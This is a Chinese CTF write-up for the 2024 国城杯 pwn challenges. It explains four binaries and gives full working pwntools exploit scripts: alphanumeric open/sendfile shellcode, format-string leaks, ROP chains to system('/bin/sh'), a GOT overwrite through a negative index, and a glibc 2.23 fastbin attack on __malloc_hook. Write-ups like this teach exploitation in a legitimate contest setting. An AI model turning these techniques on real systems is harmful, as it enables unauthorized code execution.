2024国城杯初赛,pwn题挺水的,被打烂了
Alpha_Shell 这题应该是除了签到外全场第一个一血,我抢了个三血。纯血可见字符shellcode题。main函数了塞了一些花指令(jn+jnz),没法直接反编译,部分IDA版本不受影响,我当时用8.3是需要nop掉之后,再create function才能正常反编译。
开了沙箱:
考虑openat+sendfile
可以注意到程序在执行shellcode的时候是基于rdx,所以使用ae64生成的时候要改参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import *from ae64 import AE64r = process("./attachment" ) context(os='linux' , log_level='debug' ) sc = ''' mov rax, 0x67616c662f2e push rax xor rdi, rdi sub rdi, 100 mov rsi, rsp xor edx, edx xor r10, r10 push SYS_openat pop rax syscall mov rdi, 1 mov rsi, 3 push 0 mov rdx, rsp mov r10, 0x100 push SYS_sendfile pop rax syscall ''' payload = asm(sc, arch='amd64' ) shellcode = AE64().encode(payload, 'rdx' ) print (shellcode)r.recv() r.send(shellcode) r.interactive()
Offensive_Security 前段分析 首先题目主程序中的函数全部来自动态链接库,附件给出了额外自定义的.so,我们真正需要分析的是这个动态库。login函数贴脸fmt漏洞,可以泄露出登录密码。这里有两种做法,一个是用%s泄露密码,一个是用%ln覆写密码。
接下来程序开了个多线程,一个可以修改认证密码,一个需要你写正确的认证密码。没有线程互斥锁,二分之一几率修改认证密码的线程会先出现,然后再输入和刚才一样的认证密码就行。
后段分析 第一种解法 接下来就进入到了最难蚌的地方。我们现在有一个很大的栈溢出,但是没有libc地址。这里先讲第一种做法,注意到主程序没开PIE,其中调用了printer函数,这个函数可以打开文件并输出文件内容,不难想到只要给rdi传入”flag”字符串地址就能打印flag了。但问题在于没法调用read。注意到主程序给了一些gadget,考虑出题人想要我们利用这些gadget来构造flag字符串。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 .text:000000000040064E fungadgets: .text:000000000040064E xlat .text:000000000040064F retn .text:0000000000400650 ; --------------------------------------------------------------------------- .text:0000000000400650 pop rdx .text:0000000000400651 pop rcx .text:0000000000400652 add rcx, 0D093h .text:0000000000400659 bextr rbx, rcx, rdx .text:000000000040065E retn .text:000000000040065F ; --------------------------------------------------------------------------- .text:000000000040065F stosb .text:0000000000400660 retn .text:0000000000400661 ; --------------------------------------------------------------------------- .text:0000000000400661 pop rdi .text:0000000000400662 retn .text:0000000000400662 _text ends
这里有些很冷门的汇编指令:
xlat(Translate Byte to AL):在x86_64下的作用是查找[bx+al]的内容,并将其储存在al中
bextr(Bit Field Extract):bextr rbx, rcx, rdx的作用是将rcx+dh开始的dl长度的数据,放到rbx中。注意不是取[rcx+dh],而是rcx寄存器本身的内容。
stosb(Store String Byte):将al寄存器中的数据储存到[rdi]当中,并rdi++或–(取决与DF标志寄存器)
程序中不存在完整的“flag”字符串,那么我们需要逐个字节去寻找字符,并将字符连续放到bss段当中。分为以下几步:
查找某个字符在主程序的地址,将这个地址减去0xD093后传入rcx
将rdx设置为0x4000,意味着取这个rcx的内容
执行bextr,此时rbx等于rcx
执行xlat,此时rax的值是第一步查找到的字符
将rdi赋值为bss段地址
执行stosb,此时rax中的字符就会被传入到bss地址中
这里需要注意几个问题,我们需要连续查找六个字符(./flag),但是途中rax寄存器会因为上一个字符而残留一些数据,会影响到下一个字符的xlat指令执行。因为在第二个字符开始,我们传入rbx的地址要考虑到上一个字符的影响。
动调分析 下面通过动调举例看看执行情况。payload如下:
1 2 payload = b'a' *0x28 +p64(rdi)+p64(bss)+p64(bextr) + \ p64(0x4000 )+p64(0x3F2F83 )+p64(xlat)+p64(stosb)
这个程序动调需要注意多线程问题,pwndbg启动之后虽然程序停在等待输入,但是当前他可能在另一个线程,不在read的线程。这时候需要通过thread 2
切换到2线程,这样断点之类的才不会飞。进入到rop链,此时rcx被赋值为0x400016
bextr执行过后,rbx被赋值。现在我们要查找的字符就是.
所以能看到该地址指向的第一个字符就是.
xlat执行过后:
可以看到原本rax是0的,现在是0x2e。执行完stosb,这个0x2e就会进到0x600300中。后面的字符以此类推。需要注意的就是,这个rax不会自己置零,所以下一个字符的地址不仅要减0xd093,还要减去0x2e,以此类推。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from struct import packfrom pwn import *r = process("./attachment" ) e = ELF("./attachment" ) context(arch='amd64' , log_level='debug' ) r.recv() r.send(b'%7$sflag' +p64(0x6002B0 )) r.recvuntil(b'Welcome, \n' ) password = r.recv(8 ) print (password)r.recv() r.send(password) sleep(1 ) r.recv() r.sendline(b'12345' ) r.sendline(b'12345' ) r.recvuntil(b'>' ) bss = 0x600300 xlat = 0x40064E stosb = 0x40065F rdi = 0x400661 bextr = 0x400650 printer = 0x400647 payload = b'a' *0x28 +p64(rdi)+p64(bss)+p64(bextr) + \ p64(0x4000 )+p64(0x3F2F83 )+p64(xlat)+p64(stosb) payload += p64(bextr)+p64(0x4000 )+p64(0x400006 - 0xD093 -0x2e )+p64(xlat)+p64(stosb) payload += p64(bextr)+p64(0x04000 )+p64(0x40023f - 0xD093 -0x2f )+p64(xlat)+p64(stosb) payload += p64(bextr)+p64(0x04000 )+p64(0x400001 - 0xD093 -0x66 )+p64(xlat)+p64(stosb) payload += p64(bextr)+p64(0x04000 )+p64(0x4001f8 - 0xD093 -0x6c )+p64(xlat)+p64(stosb) payload += p64(bextr)+p64(0x04000 )+p64(0x4001ea - 0xD093 -0x61 )+p64(xlat)+p64(stosb) payload += p64(rdi)+p64(bss)+p64(printer) r.send(payload) r.interactive()
这个exp里的地址都是手搜出来的。也可以用官方wp的写法,利用next(elf.search(bytes([char])))
的方法自动搜索字符地址,一把梭。
第二种解法 还记得前面的16字节fmt吗?如果用泄露密码的方式来绕过login,那么我们还能多出来4个字节的位置,可以拿来泄露libc地址。这样的话栈溢出就直接getshell就好了,不知道是不是非预期解。当然前提是在4个字节里能够泄露得出来,这道题刚好可以,在寄存器里有一个libc地址。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from struct import packfrom pwn import *r = process("./attachment" ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) e = ELF("./attachment" ) context(arch='amd64' , log_level='debug' ) r.recv() r.send(b'%3$p%7$s' +p64(0x6002B0 )) r.recvuntil(b'Welcome, \n' ) libc_base = int (r.recv(14 ), 16 )-0x114887 print (hex (libc_base))password = r.recv(8 ) print (password)r.recv() r.send(password) sleep(1 ) r.recv() r.sendline(b'12345' ) r.sendline(b'12345' ) r.recvuntil(b'>' ) rdi = 0x400661 ret = 0x400462 system = libc_base+libc.sym["system" ] binsh = libc_base+next (libc.search(b"/bin/sh" )) payload = b'a' *0x28 +p64(rdi)+p64(binsh)+p64(ret)+p64(system) r.send(payload) r.interactive()
beverage store 分析 checkvip函数随机数绕过老生常谈,给了libc2.35,直接ctypes刷脸就行。不过这道题甚至不需要刷脸,可以注意到buf可以输入16个字节,随后被复制到了name变量,在bss段,会把seed也一起覆盖了,因此可以直接固定种子,不需要调用time函数。
buy函数没有限制v0不能小于0,因此利用read,可以修改got表(没开relro和PIE保护)。注意到vuln函数有个printf("/bin/sh")
,考虑将printf的got表劫持为system。
在这之前我们需要先泄露libc地址,同样是利用got表,但是只有一次机会,所以要先想办法循环一下。考虑劫持exit为buy函数。
因此总体思路如下:
劫持exit@got为buy函数
选择一个没被劫持但已解析的got地址泄露libc
劫持printf@got为system函数
劫持exit@got为vuln函数
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import *from ctypes import *context(log_level="debug" ,arch="amd64" ) libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6' ) srand = libc.srand(1 ) p=remote("125.70.243.22" ,31382 ) payload=p64(1 )*2 p.sendline(payload) p.sendlineafter("Input yours id authentication code:" ,str (libc.rand())) p.sendline(str (-4 )) p.recvuntil("which one to choose" ) payload=p64(0x40133f )+p64(0xdeadbeef ) p.send(payload) p.sendline(str (-5 )) p.recvuntil("which one to choose" ) payload=b'\xf0' p.send(payload) p.recvuntil("succeed\n" ) libcaddr=u64(p.recv(6 )[-6 :].ljust(8 ,b'\x00' )) libcbase=libcaddr-0x0815f0 print ("libcaddr" ,hex (libcbase))system=libcbase+0x050d70 p.sendline(str (-7 )) p.recvuntil("which one to choose" ) payload=p64(system) p.send(payload) p.sendline(str (-4 )) p.recvuntil("which one to choose" ) payload=p64(0x401515 )+p64(0xdeadbeef ) p.send(payload) p.interactive()
vtable_hijack 2.23版本堆题,有UAF和edit函数堆溢出,几乎就是随便打。看到vtable还以为是什么新型IO题,结果看到这道题解出人数哐哐上升。
这里直接套UAF板子来打了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) r = remote('125.70.243.22' , 31046 ) e = ELF('./pwn' ) libc = ELF('./libc.so.6' ) one = [0x3f3e6 , 0x3f43a , 0xd5c07 ] def cmd (choice ): r.recvuntil(b'choice:' ) r.sendline(str (choice).encode()) def add (idx, size ): cmd(1 ) r.recvuntil(b'index:' ) r.sendline(str (idx).encode()) r.recvuntil(b'size:' ) r.sendline(str (size).encode()) def delete (idx ): cmd(2 ) r.recvuntil(b'index:' ) r.sendline(str (idx).encode()) def show (idx ): cmd(4 ) r.recvuntil(b'index:' ) r.sendline(str (idx).encode()) def edit (idx, size, content=b'deafbeef' ): cmd(3 ) r.recvuntil(b'index:' ) r.sendline(str (idx).encode()) r.recvuntil(b'length:' ) r.sendline(str (size).encode()) r.recvuntil(b'content:' ) r.send(content) def exit (): cmd(5 ) add(0 , 0x90 ) add(1 , 0x18 ) delete(0 ) show(0 ) r.recvuntil(b'\n' ) libc_base = u64(r.recvuntil(b'\x0a' , drop=True ) [-7 :].ljust(8 , b'\x00' ))-0x39bb78 log.info('libc_base:' +hex (libc_base)) add(2 , 0x90 ) add(3 , 0x60 ) add(4 , 0x60 ) add(5 , 0x20 ) delete(3 ) delete(4 ) edit(4 , 8 , p64(libc_base+libc.symbols['__malloc_hook' ]-0x23 )) add(6 , 0x60 ) add(7 , 0x60 ) edit(7 , 27 , b'a' *0x13 +p64(libc_base+one[2 ])) add(8 , 0x20 ) r.interactive()